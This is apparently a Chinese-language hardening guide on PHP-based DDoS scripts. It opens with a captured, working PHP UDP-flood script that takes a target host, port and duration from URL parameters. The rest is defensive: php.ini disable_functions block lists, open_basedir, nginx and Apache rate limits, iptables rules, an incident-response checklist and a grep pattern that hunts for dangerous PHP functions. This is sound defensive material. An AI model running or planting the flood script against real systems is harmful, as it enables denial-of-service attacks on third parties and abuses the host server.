捕獲一惡意腳本,核心邏輯:
<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
ignore_user_abort(true);
for($i=0;$i<$Sendlen;$i++) $out .= "A"; // 64KB 數據包
$max_time = time() + $exec_time;
while(1) {
if(time() > $max_time) break;
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
// 輸出發包統計
?>
特徵:UDP Flood、無限循環、忽略斷開、大包發送。受害者為執行腳本的服務器(佔用帶寬/CPU/文件描述符),而非目標主機(需分布式協同才成 DDOS)。
; 禁用網絡流打開(fsockopen/fopen URL/SoapClient 等)
allow_url_fopen = Off
allow_url_include = Off
; 禁用 Socket 擴展(若不需發郵件/異步連接)
; extension=php_sockets.dll
; 禁用危險函數
disable_functions = "
exec,passthru,shell_exec,system,proc_open,popen,
fsockopen,pfsockopen,stream_socket_client,stream_socket_server,
pcntl_exec,pcntl_fork,pcntl_signal,pcntl_alarm,
ld,dl,syslog,openlog,closelog,
putenv,getenv,ini_set,ini_restore,dl
"
; 限制執行時間(防無限循環)
max_execution_time = 30
; 限制內存
memory_limit = 128M
; 限制 POST 大小
post_max_size = 8M
upload_max_filesize = 2M
safe_mode = On
safe_mode_gid = On
safe_mode_exec_dir = /usr/local/php/safe_bin
safe_mode_include_dir = /usr/local/php/safe_include
⚠️ PHP 5.4+ 已移除安全模式,請依賴 disable_functions + open_basedir + 容器化隔離。
open_basedir = "/var/www/:/tmp/:/var/lib/php/session/"
防止惡意腳本讀寫敏感文件(/etc/passwd、/.ssh/id_rsa 等)。
# 限制單 IP 並發連接
limit_conn_zone $binary_remote_addr zone=perip:10m;
limit_conn perip 20;
# 限制單 IP 請求頻率(每秒 10 次,突發 20)
limit_req_zone $binary_remote_addr zone=ratelimit:10m rate=10r/s;
limit_req zone=ratelimit burst=20 nodelay;
# 禁用緩衝區攻擊向量
client_body_buffer_size 16k;
client_header_buffer_size 1k;
client_max_body_size 8m;
large_client_header_buffers 2 1k;
# mod_evasive
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10
# mod_security (OWASP CRS)
SecRuleEngine On
IncludeOptional /usr/share/modsecurity-crs/*.conf
iptables -A INPUT -p udp --dport 53 -j DROP 禁用不必要 UDP 端口;ufw limit ssh/tcp 限制 SSH 暴力破解/etc/sysctl.conf 啟用 SYN Cookie、限制連接追蹤表大小1. 發現異常(帶寬跑滿/CPU 100%/大量 ESTABLISHED)
→ netstat -an | grep :80 | wc -l
→ top -c 定位進程
→ lsof -p PID 看打開文件/連接
2. 確認入口(Web 日誌/訪問日誌/錯誤日誌)
→ grep "fsockopen\|udp://" /var/log/nginx/access.log
→ 查找可疑 PHP 文件(find /var/www -name "*.php" -mtime -1)
3. 隔離處理
→ 禁用可疑腳本(chmod 000 / mv .bak)
→ 封禁攻擊 IP(iptables -A INPUT -s ATTACK_IP -j DROP)
→ 重啟 PHP-FPM/Nginx 釋放資源
4. 根因排查
→ 代碼審計:文件上傳/編輯器/插件/反序列化/命令注入
→ 權限檢查:網站目錄所有者/權限(www-data:www-data 755/644)
→ 組件更新:PHP/框架/CMS/插件升級到最新安全版本
5. 加固防護
→ 部署 WAF、禁用危險函數、配置限流、接入高防
→ 建立日誌審計/告警機制(ELK + ElastAlert / Prometheus + Alertmanager)
grep -r "fsockopen\|pfsockopen\|stream_socket_client\|exec\|shell_exec\|system\|passthru\|proc_open\|popen\|eval\|assert\|create_function\|unserialize\|base64_decode\|gzuncompress" /var/www/html --include="*.php"
PHP DDOS 攻擊本質是利用 Web 執行環境發起外部網絡請求。核心防禦鏈:
fsockopen 等網絡函數、限制 max_execution_time、memory_limit單一層面防禦均可被繞過,唯有纵深防御體系才能將風險控制在可接受範圍。